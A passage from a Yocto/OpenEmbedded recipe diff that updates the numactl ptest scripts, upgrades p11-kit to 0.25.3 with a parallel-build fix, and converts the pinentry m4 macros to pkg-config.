+Signed-off-by: Roy Li <rongqing.li@windriver.com>
+Signed-off-by: Li Xin <lixin.fnst@cn.fujitsu.com>
+Signed-off-by: Xiangyu Chen <xiangyu.chen@windriver.com>
+
+---
+ test/regress | 6 +++---
+ test/regress2 | 11 +++++------
+ 2 files changed, 8 insertions(+), 9 deletions(-)
+
+diff --git a/test/regress b/test/regress
+index f06b22f..2fdfacb 100755
+--- a/test/regress
++++ b/test/regress
+@@ -78,6 +78,7 @@ probe_hardware()
+ if [ $numnodes -lt 2 ] ; then
+ echo "need at least two nodes with at least $NEEDPAGES each of"
+ echo "free memory for mempolicy regression tests"
++ echo "SKIP: numa regress"
+ exit 77 # Skip test
+ fi
+ }
+@@ -209,10 +210,9 @@ main()
+ rm A B
+
+ if [ "$EXIT" = 0 ] ; then
+- echo '========SUCCESS'
++ echo 'PASS: numactl regress'
+ else
+- echo '========FAILURE'
+- exit 1
++ echo 'FAIL: numactl regress'
+ fi
+ }
+
+diff --git a/test/regress2 b/test/regress2
+index aa6ea41..450c510 100755
+--- a/test/regress2
++++ b/test/regress2
+@@ -9,12 +9,11 @@ testdir=`dirname "$0"`
+ export PATH=${builddir}:$PATH
+
+ T() {
+- echo "$@"
+- if ! $VALGRIND "$@" ; then
+- echo $1 FAILED!!!!
+- exit 1
+- fi
+- echo
++ if ! $VALGRIND "$@" 2>&1 1>/dev/null; then
++ echo "FAIL: $1"
++ else
++ echo "PASS: $1"
++ fi
+ }
+
+ # still broken
diff --git a/meta/recipes-support/numactl/numactl/Makefile b/meta/recipes-support/numactl/numactl/Makefile
new file mode 100644
index 0000000000..9a5134c3f2
--- /dev/null
+++ b/meta/recipes-support/numactl/numactl/Makefile
@@ -0,0 +1,7 @@
+.PHONY: regress1 regress2
+
+regress1:
+ cd test ; ./regress
+
+regress2:
+ cd test ; ./regress2
diff --git a/meta/recipes-support/numactl/numactl/run-ptest b/meta/recipes-support/numactl/numactl/run-ptest
new file mode 100755
index 0000000000..e019b0d364
--- /dev/null
+++ b/meta/recipes-support/numactl/numactl/run-ptest
@@ -0,0 +1,27 @@
+#!/bin/sh
+
+# If there is numa support, run the tests. Otherwise skip all the tests.
+# Ideally the skipping would happen by the upstream tests.
+if ! numactl -s | grep -q "No NUMA support available on this system."; then
+ make regress1
+ make regress2
+ if numademo -t -e 10M; then
+ echo "PASS: numademo"
+ else
+ if [ "$?" = 77 ] ; then
+ echo "SKIP: numademo"
+ else
+ echo "FAIL: numademo"
+ fi
+ fi
+else
+ echo "SKIP: ./../test/bind_range"
+ echo "SKIP: ./../test/checkaffinity"
+ echo "SKIP: ./../test/checktopology"
+ echo "SKIP: ./../test/distance"
+ echo "SKIP: ./../test/nodemap"
+ echo "SKIP: ./../test/tbitmap"
+ echo "SKIP: numactl_regress"
+ echo "SKIP: numademo"
+fi
+
diff --git a/meta/recipes-support/numactl/numactl_git.bb b/meta/recipes-support/numactl/numactl_git.bb
new file mode 100644
index 0000000000..bd16df91ec
--- /dev/null
+++ b/meta/recipes-support/numactl/numactl_git.bb
@@ -0,0 +1,59 @@
+SUMMARY = "Development package for building Applications that use numa"
+HOMEPAGE = "http://oss.sgi.com/projects/libnuma/"
+DESCRIPTION = "Simple NUMA policy support. It consists of a numactl program \
+to run other programs with a specific NUMA policy and a libnuma to do \
+allocations with NUMA policy in applications."
+LICENSE = "GPL-2.0-only & LGPL-2.1-only"
+SECTION = "apps"
+
+inherit autotools-brokensep ptest
+
+LIC_FILES_CHKSUM = "file://README.md;beginline=19;endline=32;md5=9f34c3af4ed6f3f5df0da5f3c0835a43"
+
+SRCREV = "3871b1c42fc71bceadafd745d2eff5dddfc2d67e"
+PV = "2.0.18"
+
+SRC_URI = "git://github.com/numactl/numactl;branch=master;protocol=https \
+ file://Fix-the-test-output-format.patch \
+ file://Makefile \
+ file://run-ptest \
+ file://0001-define-run-test-target.patch \
+ "
+
+S = "${WORKDIR}/git"
+
+LDFLAGS:append:riscv64 = " -latomic"
+LDFLAGS:append:riscv32 = " -latomic"
+
+do_install() {
+ oe_runmake DESTDIR=${D} prefix=${D}/usr install
+ #remove the empty man2 directory
+ rm -r ${D}${mandir}/man2
+}
+
+do_compile_ptest() {
+ oe_runmake test
+}
+
+do_install_ptest() {
+ #install tests binaries
+ local test_binaries="distance ftok mbind_mig_pages migrate_pages move_pages \
+ mynode nodemap node-parse pagesize prefered randmap realloc_test \
+ tbitmap tshared"
+
+ [ ! -d ${D}/${PTEST_PATH}/test ] && mkdir -p ${D}/${PTEST_PATH}/test
+ for i in $test_binaries; do
+ install -m 0755 ${B}/test/.libs/$i ${D}${PTEST_PATH}/test
+ done
+
+ local test_scripts="checktopology checkaffinity printcpu regress regress2 \
+ shmtest runltp bind_range"
+ for i in $test_scripts; do
+ install -m 0755 ${B}/test/$i ${D}${PTEST_PATH}/test
+ done
+
+ install -m 0755 ${WORKDIR}/Makefile ${D}${PTEST_PATH}/
+ install -m 0755 ${B}/.libs/numactl ${D}${PTEST_PATH}/
+}
+
+RDEPENDS:${PN}-ptest = "bash"
diff --git a/meta/recipes-support/p11-kit/files/fix-parallel-build-failures.patch b/meta/recipes-support/p11-kit/files/fix-parallel-build-failures.patch
new file mode 100644
index 0000000000..47df027106
--- /dev/null
+++ b/meta/recipes-support/p11-kit/files/fix-parallel-build-failures.patch
@@ -0,0 +1,33 @@
+It fails occasionally with missing generated header files:
+
+| ../git/common/asn1.c:42:10: fatal error: openssl.asn.h: No such file or directory
+| 42 | #include "openssl.asn.h"
+| | ^~~~~~~~~~~~~~~
+| compilation terminated.
+
+According to meson manual page:
+
+https://mesonbuild.com/Wrap-best-practices-and-tips.html#declare-generated-headers-explicitly
+
+'asn_h_dep' should be a dependency of static_library target 'libp11_asn1' to
+make sure that required header files generated before compile common/asn1.c.
+
+Upstream-Status: Submitted [https://github.com/p11-glue/p11-kit/pull/619]
+
+Signed-off-by: Kai Kang <kai.kang@windriver.com>
+---
+ common/meson.build | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/common/meson.build b/common/meson.build
+index dc86d7b..cc3ec48 100644
+--- a/common/meson.build
++++ b/common/meson.build
+@@ -113,6 +113,7 @@ if with_asn1
+ 'p11-asn1', libp11_asn1_sources,
+ gnu_symbol_visibility: 'hidden',
+ include_directories: configinc,
++ dependencies: asn_h_dep,
+ )
+
+ libp11_asn1_dep = declare_dependency(
diff --git a/meta/recipes-support/p11-kit/p11-kit_0.23.20.bb b/meta/recipes-support/p11-kit/p11-kit_0.23.20.bb
deleted file mode 100644
index 4ba93f998a..0000000000
--- a/meta/recipes-support/p11-kit/p11-kit_0.23.20.bb
+++ /dev/null
@@ -1,29 +0,0 @@
-SUMMARY = "Provides a way to load and enumerate PKCS#11 modules"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=02933887f609807fbb57aa4237d14a50"
-
-inherit meson gettext pkgconfig gtk-doc bash-completion
-
-DEPENDS = "libtasn1 libtasn1-native libffi"
-
-DEPENDS_append = "${@' glib-2.0' if d.getVar('GTKDOC_ENABLED') == 'True' else ''}"
-
-SRC_URI = "git://github.com/p11-glue/p11-kit"
-SRCREV = "762cdaa2cd5c5ec09cc844f9a6bdc551c7f6c8ed"
-S = "${WORKDIR}/git"
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[trust-paths] = "-Dtrust_paths=/etc/ssl/certs/ca-certificates.crt,,,ca-certificates"
-
-GTKDOC_MESON_OPTION = 'gtk_doc'
-
-FILES_${PN} += " \
- ${libdir}/p11-kit-proxy.so \
- ${libdir}/pkcs11/*.so \
- ${libdir}/pkcs11/*.la \
- ${systemd_user_unitdir}/*"
-
-# PN contains p11-kit-proxy.so, a symlink to a loadable module
-INSANE_SKIP_${PN} = "dev-so"
-
-BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-support/p11-kit/p11-kit_0.25.3.bb b/meta/recipes-support/p11-kit/p11-kit_0.25.3.bb
new file mode 100644
index 0000000000..b7ebd44abc
--- /dev/null
+++ b/meta/recipes-support/p11-kit/p11-kit_0.25.3.bb
@@ -0,0 +1,34 @@
+SUMMARY = "Provides a way to load and enumerate PKCS#11 modules"
+DESCRIPTION = " Provides a standard configuration setup for installing PKCS#11 modules in such a way that they're discoverable. Also solves problems with coordinating the use of PKCS#11 by different components or libraries living in the same process."
+HOMEPAGE = "https://p11-glue.github.io/p11-glue/p11-kit.html"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=02933887f609807fbb57aa4237d14a50"
+
+inherit meson gettext pkgconfig gtk-doc bash-completion manpages
+
+DEPENDS = "libtasn1 libtasn1-native libffi"
+
+DEPENDS:append = "${@' glib-2.0' if d.getVar('GTKDOC_ENABLED') == 'True' else ''}"
+
+SRC_URI = "gitsm://github.com/p11-glue/p11-kit;branch=master;protocol=https \
+ file://fix-parallel-build-failures.patch \
+ "
+SRCREV = "917e02a3211dabbdea4b079cb598581dce84fda1"
+S = "${WORKDIR}/git"
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[manpages] = "-Dman=true,-Dman=false,libxslt-native"
+PACKAGECONFIG[trust-paths] = "-Dtrust_paths=/etc/ssl/certs/ca-certificates.crt,,,ca-certificates"
+
+GTKDOC_MESON_OPTION = 'gtk_doc'
+
+FILES:${PN} += " \
+ ${libdir}/p11-kit-proxy.so \
+ ${libdir}/pkcs11/*.so \
+ ${libdir}/pkcs11/*.la \
+ ${systemd_user_unitdir}/*"
+
+# PN contains p11-kit-proxy.so, a symlink to a loadable module
+INSANE_SKIP:${PN} = "dev-so"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/pinentry/pinentry-1.1.0/gpg-error_pkconf.patch b/meta/recipes-support/pinentry/pinentry-1.1.0/gpg-error_pkconf.patch
deleted file mode 100644
index 431edb0351..0000000000
--- a/meta/recipes-support/pinentry/pinentry-1.1.0/gpg-error_pkconf.patch
+++ /dev/null
@@ -1,100 +0,0 @@
-Convert to pkg-config support to match changes done to
-the gpg-error recipe for gpg-error.pc generation.
-
-Upstream-Status: Inappropriate [OE specific]
-
-Signed-off-by: Armin Kuster <akuster@mvista.com>
-
-Index: pinentry-1.0.0/m4/gpg-error.m4
-===================================================================
---- pinentry-1.0.0.orig/m4/gpg-error.m4
-+++ pinentry-1.0.0/m4/gpg-error.m4
-@@ -25,74 +25,12 @@ dnl config script does not match the hos
- dnl is added to the gpg_config_script_warn variable.
- dnl
- AC_DEFUN([AM_PATH_GPG_ERROR],
--[ AC_REQUIRE([AC_CANONICAL_HOST])
-- gpg_error_config_prefix=""
-- dnl --with-libgpg-error-prefix=PFX is the preferred name for this option,
-- dnl since that is consistent with how our three siblings use the directory/
-- dnl package name in --with-$dir_name-prefix=PFX.
-- AC_ARG_WITH(libgpg-error-prefix,
-- AC_HELP_STRING([--with-libgpg-error-prefix=PFX],
-- [prefix where GPG Error is installed (optional)]),
-- [gpg_error_config_prefix="$withval"])
--
-- dnl Accept --with-gpg-error-prefix and make it work the same as
-- dnl --with-libgpg-error-prefix above, for backwards compatibility,
-- dnl but do not document this old, inconsistently-named option.
-- AC_ARG_WITH(gpg-error-prefix,,
-- [gpg_error_config_prefix="$withval"])
--
-- if test x"${GPG_ERROR_CONFIG}" = x ; then
-- if test x"${gpg_error_config_prefix}" != x ; then
-- GPG_ERROR_CONFIG="${gpg_error_config_prefix}/bin/gpg-error-config"
-- else
-- case "${SYSROOT}" in
-- /*)
-- if test -x "${SYSROOT}/bin/gpg-error-config" ; then
-- GPG_ERROR_CONFIG="${SYSROOT}/bin/gpg-error-config"
-- fi
-- ;;
-- '')
-- ;;
-- *)
-- AC_MSG_WARN([Ignoring \$SYSROOT as it is not an absolute path.])
-- ;;
-- esac
-- fi
-- fi
--
-- AC_PATH_PROG(GPG_ERROR_CONFIG, gpg-error-config, no)
-+[
- min_gpg_error_version=ifelse([$1], ,0.0,$1)
-- AC_MSG_CHECKING(for GPG Error - version >= $min_gpg_error_version)
-- ok=no
-- if test "$GPG_ERROR_CONFIG" != "no" \
-- && test -f "$GPG_ERROR_CONFIG" ; then
-- req_major=`echo $min_gpg_error_version | \
-- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)/\1/'`
-- req_minor=`echo $min_gpg_error_version | \
-- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)/\2/'`
-- gpg_error_config_version=`$GPG_ERROR_CONFIG $gpg_error_config_args --version`
-- major=`echo $gpg_error_config_version | \
-- sed 's/\([[0-9]]*\)\.\([[0-9]]*\).*/\1/'`
-- minor=`echo $gpg_error_config_version | \
-- sed 's/\([[0-9]]*\)\.\([[0-9]]*\).*/\2/'`
-- if test "$major" -gt "$req_major"; then
-- ok=yes
-- else
-- if test "$major" -eq "$req_major"; then
-- if test "$minor" -ge "$req_minor"; then
-- ok=yes
-- fi
-- fi
-- fi
-- fi
-+ PKG_CHECK_MODULES(GPG_ERROR, [gpg-error >= $min_gpg_error_version gpg-error], [ok=yes], [ok=no])
- if test $ok = yes; then
-- GPG_ERROR_CFLAGS=`$GPG_ERROR_CONFIG $gpg_error_config_args --cflags`
-- GPG_ERROR_LIBS=`$GPG_ERROR_CONFIG $gpg_error_config_args --libs`
-- GPG_ERROR_MT_CFLAGS=`$GPG_ERROR_CONFIG $gpg_error_config_args --mt --cflags 2>/dev/null`
-- GPG_ERROR_MT_LIBS=`$GPG_ERROR_CONFIG $gpg_error_config_args --mt --libs 2>/dev/null`
-- AC_MSG_RESULT([yes ($gpg_error_config_version)])
- ifelse([$2], , :, [$2])
-- gpg_error_config_host=`$GPG_ERROR_CONFIG $gpg_error_config_args --host 2>/dev/null || echo none`
-+ gpg_error_config_host=`$PKG_CONFIG --host gpg-error 2>/dev/null || echo none`
- if test x"$gpg_error_config_host" != xnone ; then
- if test x"$gpg_error_config_host" != x"$host" ; then
- AC_MSG_WARN([[
-@@ -107,10 +45,6 @@ AC_DEFUN([AM_PATH_GPG_ERROR],
- fi
- fi
- else
-- GPG_ERROR_CFLAGS=""
-- GPG_ERROR_LIBS=""
-- GPG_ERROR_MT_CFLAGS=""
-- GPG_ERROR_MT_LIBS=""
- AC_MSG_RESULT(no)
- ifelse([$3], , :, [$3])
- fi
diff --git a/meta/recipes-support/pinentry/pinentry-1.1.0/libassuan_pkgconf.patch b/meta/recipes-support/pinentry/pinentry-1.1.0/libassuan_pkgconf.patch
deleted file mode 100644
index 11d564f35d..0000000000
--- a/meta/recipes-support/pinentry/pinentry-1.1.0/libassuan_pkgconf.patch
+++ /dev/null
@@ -1,153 +0,0 @@
-Convert to pkg-config support to match changes done to
-the libassuan recipe for libassuan.pc generation.
-
-Upstream-Status: Inappropriate [OE specific]
-
-Signed-off-by: Armin Kuster <akuster@mvista.com>
-
-Index: pinentry-1.0.0/m4/libassuan.m4
-===================================================================
---- pinentry-1.0.0.orig/m4/libassuan.m4
-+++ pinentry-1.0.0/m4/libassuan.m4
-@@ -13,34 +13,8 @@ dnl
- dnl Common code used for libassuan detection [internal]
- dnl Returns ok set to yes or no.
- dnl
--AC_DEFUN([_AM_PATH_LIBASSUAN_COMMON],
--[ AC_REQUIRE([AC_CANONICAL_HOST])
-- AC_ARG_WITH(libassuan-prefix,
-- AC_HELP_STRING([--with-libassuan-prefix=PFX],
-- [prefix where LIBASSUAN is installed (optional)]),
-- libassuan_config_prefix="$withval", libassuan_config_prefix="")
-- if test x$libassuan_config_prefix != x ; then
-- libassuan_config_args="$libassuan_config_args --prefix=$libassuan_config_prefix"
-- if test x${LIBASSUAN_CONFIG+set} != xset ; then
-- LIBASSUAN_CONFIG=$libassuan_config_prefix/bin/libassuan-config
-- fi
-- else
-- case "${SYSROOT}" in
-- /*)
-- if test -x "${SYSROOT}/bin/libassuan-config" ; then
-- LIBASSUAN_CONFIG="${SYSROOT}/bin/libassuan-config"
-- fi
-- ;;
-- '')
-- ;;
-- *)
-- AC_MSG_WARN([Ignoring \$SYSROOT as it is not an absolute path.])
-- ;;
-- esac
-- fi
--
-- AC_PATH_TOOL(LIBASSUAN_CONFIG, libassuan-config, no)
--
-+AC_DEFUN([AM_PATH_LIBASSUAN_COMMON],
-+[
- tmp=ifelse([$1], ,1:0.9.2,$1)
- if echo "$tmp" | grep ':' >/dev/null 2>/dev/null ; then
- req_libassuan_api=`echo "$tmp" | sed 's/\(.*\):\(.*\)/\1/'`
-@@ -50,51 +24,11 @@ AC_DEFUN([_AM_PATH_LIBASSUAN_COMMON],
- min_libassuan_version="$tmp"
- fi
-
-- AC_MSG_CHECKING(for LIBASSUAN - version >= $min_libassuan_version)
-- ok=no
-- if test "$LIBASSUAN_CONFIG" != "no" \
-- && test -f "$LIBASSUAN_CONFIG" ; then
-- req_major=`echo $min_libassuan_version | \
-- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\)/\1/'`
-- req_minor=`echo $min_libassuan_version | \
-- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\)/\2/'`
-- req_micro=`echo $min_libassuan_version | \
-- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\)/\3/'`
--
-- libassuan_config_version=`$LIBASSUAN_CONFIG --version`
-- major=`echo $libassuan_config_version | \
-- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\).*/\1/'`
-- minor=`echo $libassuan_config_version | \
-- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\).*/\2/'`
-- micro=`echo $libassuan_config_version | \
-- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\).*/\3/'`
--
-- if test "$major" -gt "$req_major"; then
-- ok=yes
-- else
-- if test "$major" -eq "$req_major"; then
-- if test "$minor" -gt "$req_minor"; then
-- ok=yes
-- else
-- if test "$minor" -eq "$req_minor"; then
-- if test "$micro" -ge "$req_micro"; then
-- ok=yes
-- fi
-- fi
-- fi
-- fi
-- fi
-- fi
--
-- if test $ok = yes; then
-- AC_MSG_RESULT([yes ($libassuan_config_version)])
-- else
-- AC_MSG_RESULT(no)
-- fi
-+ PKG_CHECK_MODULES(LIBASSUAN_COMMON, [libassuan >= $min_libassuan_version libassuan], [ok=yes], [ok=no])
-
- if test $ok = yes; then
- if test "$req_libassuan_api" -gt 0 ; then
-- tmp=`$LIBASSUAN_CONFIG --api-version 2>/dev/null || echo 0`
-+ tmp=`$PKG_CONFIG --variable=api_version libassuan 2>/dev/null || echo 0`
- if test "$tmp" -gt 0 ; then
- AC_MSG_CHECKING([LIBASSUAN API version])
- if test "$req_libassuan_api" -eq "$tmp" ; then
-@@ -109,7 +43,7 @@ AC_DEFUN([_AM_PATH_LIBASSUAN_COMMON],
-
- if test $ok = yes; then
- if test x"$host" != x ; then
-- libassuan_config_host=`$LIBASSUAN_CONFIG --host 2>/dev/null || echo none`
-+ libassuan_config_host=`$PKG_CONFIG --host libassuan 2>/dev/null || echo 0`
- if test x"$libassuan_config_host" != xnone ; then
- if test x"$libassuan_config_host" != x"$host" ; then
- AC_MSG_WARN([[
-@@ -132,7 +66,7 @@ dnl Test whether libassuan has at least
- dnl used to test for features only available in newer versions.
- dnl
- AC_DEFUN([AM_CHECK_LIBASSUAN],
--[ _AM_PATH_LIBASSUAN_COMMON($1)
-+[ AM_PATH_LIBASSUAN_COMMON($1)
- if test $ok = yes; then
- ifelse([$2], , :, [$2])
- else
-@@ -148,16 +82,10 @@ dnl [ACTION-IF-FOUND [
- dnl Test for libassuan and define LIBASSUAN_CFLAGS and LIBASSUAN_LIBS
- dnl
- AC_DEFUN([AM_PATH_LIBASSUAN],
--[ _AM_PATH_LIBASSUAN_COMMON($1)
-+[ AM_PATH_LIBASSUAN_COMMON($1)
- if test $ok = yes; then
-- LIBASSUAN_CFLAGS=`$LIBASSUAN_CONFIG $libassuan_config_args --cflags`
-- LIBASSUAN_LIBS=`$LIBASSUAN_CONFIG $libassuan_config_args --libs`
- ifelse([$2], , :, [$2])
- else
-- LIBASSUAN_CFLAGS=""
-- LIBASSUAN_LIBS=""
- ifelse([$3], , :, [$3])
- fi
-- AC_SUBST(LIBASSUAN_CFLAGS)
-- AC_SUBST(LIBASSUAN_LIBS)
- ])
-Index: pinentry-1.0.0/configure.ac
-===================================================================
---- pinentry-1.0.0.orig/configure.ac
-+++ pinentry-1.0.0/configure.ac
-@@ -266,8 +266,8 @@ if test "$have_libassuan" = "yes"; then
- [version of the libassuan library])
- fi
-
--COMMON_CFLAGS="$LIBASSUAN_CFLAGS $COMMON_CFLAGS"
--COMMON_LIBS="$LIBASSUAN_LIBS $COMMON_LIBS"
-+COMMON_CFLAGS="$LIBASSUAN_COMMON_CFLAGS $COMMON_CFLAGS"
-+COMMON_LIBS="$LIBASSUAN_COMMON_LIBS $COMMON_LIBS"
-
-
- dnl Checks for libsecmem.
diff --git a/meta/recipes-support/pinentry/pinentry-1.2.1/gpg-error_pkconf.patch b/meta/recipes-support/pinentry/pinentry-1.2.1/gpg-error_pkconf.patch
new file mode 100644
index 0000000000..bb7e43b1e7
--- /dev/null
+++ b/meta/recipes-support/pinentry/pinentry-1.2.1/gpg-error_pkconf.patch
@@ -0,0 +1,196 @@
+From 785777dc0bc6b69ff68c91547ec6b6634049662f Mon Sep 17 00:00:00 2001
+From: Armin Kuster <akuster@mvista.com>
+Date: Fri, 2 Sep 2005 11:50:01 +0000
+Subject: [PATCH] Add gtk+, avahi, dbus-0.34 (.36 coming soon) and
+
+Convert to pkg-config support to match changes done to
+the gpg-error recipe for gpg-error.pc generation.
+
+Upstream-Status: Inappropriate [OE specific]
+
+Signed-off-by: Armin Kuster <akuster@mvista.com>
+
+---
+ m4/gpg-error.m4 | 160 ++----------------------------------------------
+ 1 file changed, 4 insertions(+), 156 deletions(-)
+
+diff --git a/m4/gpg-error.m4 b/m4/gpg-error.m4
+index 4b5cd40..7dfbb83 100644
+--- a/m4/gpg-error.m4
++++ b/m4/gpg-error.m4
+@@ -26,160 +26,12 @@ dnl config script does not match the host specification the script
+ dnl is added to the gpg_config_script_warn variable.
+ dnl
+ AC_DEFUN([AM_PATH_GPG_ERROR],
+-[ AC_REQUIRE([AC_CANONICAL_HOST])
+- gpg_error_config_prefix=""
+- dnl --with-libgpg-error-prefix=PFX is the preferred name for this option,
+- dnl since that is consistent with how our three siblings use the directory/
+- dnl package name in --with-$dir_name-prefix=PFX.
+- AC_ARG_WITH(libgpg-error-prefix,
+- AS_HELP_STRING([--with-libgpg-error-prefix=PFX],
+- [prefix where GPG Error is installed (optional)]),
+- [gpg_error_config_prefix="$withval"])
+-
+- dnl Accept --with-gpg-error-prefix and make it work the same as
+- dnl --with-libgpg-error-prefix above, for backwards compatibility,
+- dnl but do not document this old, inconsistently-named option.
+- AC_ARG_WITH(gpg-error-prefix,,
+- [gpg_error_config_prefix="$withval"])
+-
+- if test x"${GPG_ERROR_CONFIG}" = x ; then
+- if test x"${gpg_error_config_prefix}" != x ; then
+- GPG_ERROR_CONFIG="${gpg_error_config_prefix}/bin/gpg-error-config"
+- else
+- case "${SYSROOT}" in
+- /*)
+- if test -x "${SYSROOT}/bin/gpg-error-config" ; then
+- GPG_ERROR_CONFIG="${SYSROOT}/bin/gpg-error-config"
+- fi
+- ;;
+- '')
+- ;;
+- *)
+- AC_MSG_WARN([Ignoring \$SYSROOT as it is not an absolute path.])
+- ;;
+- esac
+- fi
+- fi
+-
+- AC_PATH_PROG(GPG_ERROR_CONFIG, gpg-error-config, no)
+- min_gpg_error_version=ifelse([$1], ,1.33,$1)
+- ok=no
+-
+- AC_PATH_PROG(GPGRT_CONFIG, gpgrt-config, no, [$prefix/bin:$PATH])
+- if test "$GPGRT_CONFIG" != "no"; then
+- # Determine gpgrt_libdir
+- #
+- # Get the prefix of gpgrt-config assuming it's something like:
+- # <PREFIX>/bin/gpgrt-config
+- gpgrt_prefix=${GPGRT_CONFIG%/*/*}
+- possible_libdir1=${gpgrt_prefix}/lib
+- # Determine by using system libdir-format with CC, it's like:
+- # Normal style: /usr/lib
+- # GNU cross style: /usr/<triplet>/lib
+- # Debian style: /usr/lib/<multiarch-name>
+- # Fedora/openSUSE style: /usr/lib, /usr/lib32 or /usr/lib64
+- # It is assumed that CC is specified to the one of host on cross build.
+- if libdir_candidates=$(${CC:-cc} -print-search-dirs | \
+- sed -n -e "/^libraries/{s/libraries: =//;s/:/\\
+-/g;p;}"); then
+- # From the output of -print-search-dirs, select valid pkgconfig dirs.
+- libdir_candidates=$(for dir in $libdir_candidates; do
+- if p=$(cd $dir 2>/dev/null && pwd); then
+- test -d "$p/pkgconfig" && echo $p;
+- fi
+- done)
+-
+- for possible_libdir0 in $libdir_candidates; do
+- # possible_libdir0:
+- # Fallback candidate, the one of system-installed (by $CC)
+- # (/usr/<triplet>/lib, /usr/lib/<multiarch-name> or /usr/lib32)
+- # possible_libdir1:
+- # Another candidate, user-locally-installed
+- # (<gpgrt_prefix>/lib)
+- # possible_libdir2
+- # Most preferred
+- # (<gpgrt_prefix>/<triplet>/lib,
+- # <gpgrt_prefix>/lib/<multiarch-name> or <gpgrt_prefix>/lib32)
+- if test "${possible_libdir0##*/}" = "lib"; then
+- possible_prefix0=${possible_libdir0%/lib}
+- possible_prefix0_triplet=${possible_prefix0##*/}
+- if test -z "$possible_prefix0_triplet"; then
+- continue
+- fi
+- possible_libdir2=${gpgrt_prefix}/$possible_prefix0_triplet/lib
+- else
+- possible_prefix0=${possible_libdir0%%/lib*}
+- possible_libdir2=${gpgrt_prefix}${possible_libdir0#$possible_prefix0}
+- fi
+- if test -f ${possible_libdir2}/pkgconfig/gpg-error.pc; then
+- gpgrt_libdir=${possible_libdir2}
+- elif test -f ${possible_libdir1}/pkgconfig/gpg-error.pc; then
+- gpgrt_libdir=${possible_libdir1}
+- elif test -f ${possible_libdir0}/pkgconfig/gpg-error.pc; then
+- gpgrt_libdir=${possible_libdir0}
+- fi
+- if test -n "$gpgrt_libdir"; then break; fi
+- done
+- else
+- # When we cannot determine system libdir-format, use this:
+- gpgrt_libdir=${possible_libdir1}
+- fi
+- else
+- unset GPGRT_CONFIG
+- fi
+-
+- if test -n "$gpgrt_libdir"; then
+- GPGRT_CONFIG="$GPGRT_CONFIG --libdir=$gpgrt_libdir"
+- if $GPGRT_CONFIG gpg-error >/dev/null 2>&1; then
+- GPG_ERROR_CONFIG="$GPGRT_CONFIG gpg-error"
+- AC_MSG_NOTICE([Use gpgrt-config with $gpgrt_libdir as gpg-error-config])
+- gpg_error_config_version=`$GPG_ERROR_CONFIG --modversion`
+- else
+- unset GPGRT_CONFIG
+- fi
+- elif test "$GPG_ERROR_CONFIG" != "no"; then
+- gpg_error_config_version=`$GPG_ERROR_CONFIG --version`
+- unset GPGRT_CONFIG
+- fi
+- if test "$GPG_ERROR_CONFIG" != "no"; then
+- req_major=`echo $min_gpg_error_version | \
+- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)/\1/'`
+- req_minor=`echo $min_gpg_error_version | \
+- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)/\2/'`
+- major=`echo $gpg_error_config_version | \
+- sed 's/\([[0-9]]*\)\.\([[0-9]]*\).*/\1/'`
+- minor=`echo $gpg_error_config_version | \
+- sed 's/\([[0-9]]*\)\.\([[0-9]]*\).*/\2/'`
+- if test "$major" -gt "$req_major"; then
+- ok=yes
+- else
+- if test "$major" -eq "$req_major"; then
+- if test "$minor" -ge "$req_minor"; then
+- ok=yes
+- fi
+- fi
+- fi
+- fi
+- AC_MSG_CHECKING(for GPG Error - version >= $min_gpg_error_version)
++[
++ min_gpg_error_version=ifelse([$1], ,0.0,$1)
++ PKG_CHECK_MODULES(GPG_ERROR, [gpg-error >= $min_gpg_error_version gpg-error], [ok=yes], [ok=no])
+ if test $ok = yes; then
+- GPG_ERROR_CFLAGS=`$GPG_ERROR_CONFIG --cflags`
+- GPG_ERROR_LIBS=`$GPG_ERROR_CONFIG --libs`
+- if test -z "$GPGRT_CONFIG"; then
+- GPG_ERROR_MT_CFLAGS=`$GPG_ERROR_CONFIG --mt --cflags 2>/dev/null`
+- GPG_ERROR_MT_LIBS=`$GPG_ERROR_CONFIG --mt --libs 2>/dev/null`
+- else
+- GPG_ERROR_MT_CFLAGS=`$GPG_ERROR_CONFIG --variable=mtcflags 2>/dev/null`
+- GPG_ERROR_MT_CFLAGS="$GPG_ERROR_CFLAGS${GPG_ERROR_CFLAGS:+ }$GPG_ERROR_MT_CFLAGS"
+- GPG_ERROR_MT_LIBS=`$GPG_ERROR_CONFIG --variable=mtlibs 2>/dev/null`
+- GPG_ERROR_MT_LIBS="$GPG_ERROR_LIBS${GPG_ERROR_LIBS:+ }$GPG_ERROR_MT_LIBS"
+- fi
+- AC_MSG_RESULT([yes ($gpg_error_config_version)])
+ ifelse([$2], , :, [$2])
+- if test -z "$GPGRT_CONFIG"; then
+- gpg_error_config_host=`$GPG_ERROR_CONFIG --host 2>/dev/null || echo none`
+- else
+- gpg_error_config_host=`$GPG_ERROR_CONFIG --variable=host 2>/dev/null || echo none`
+- fi
++ gpg_error_config_host=`$PKG_CONFIG --host gpg-error 2>/dev/null || echo none`
+ if test x"$gpg_error_config_host" != xnone ; then
+ if test x"$gpg_error_config_host" != x"$host" ; then
+ AC_MSG_WARN([[
+@@ -194,10 +46,6 @@ AC_DEFUN([AM_PATH_GPG_ERROR],
+ fi
+ fi
+ else
+- GPG_ERROR_CFLAGS=""
+- GPG_ERROR_LIBS=""
+- GPG_ERROR_MT_CFLAGS=""
+- GPG_ERROR_MT_LIBS=""
+ AC_MSG_RESULT(no)
+ ifelse([$3], , :, [$3])
+ fi
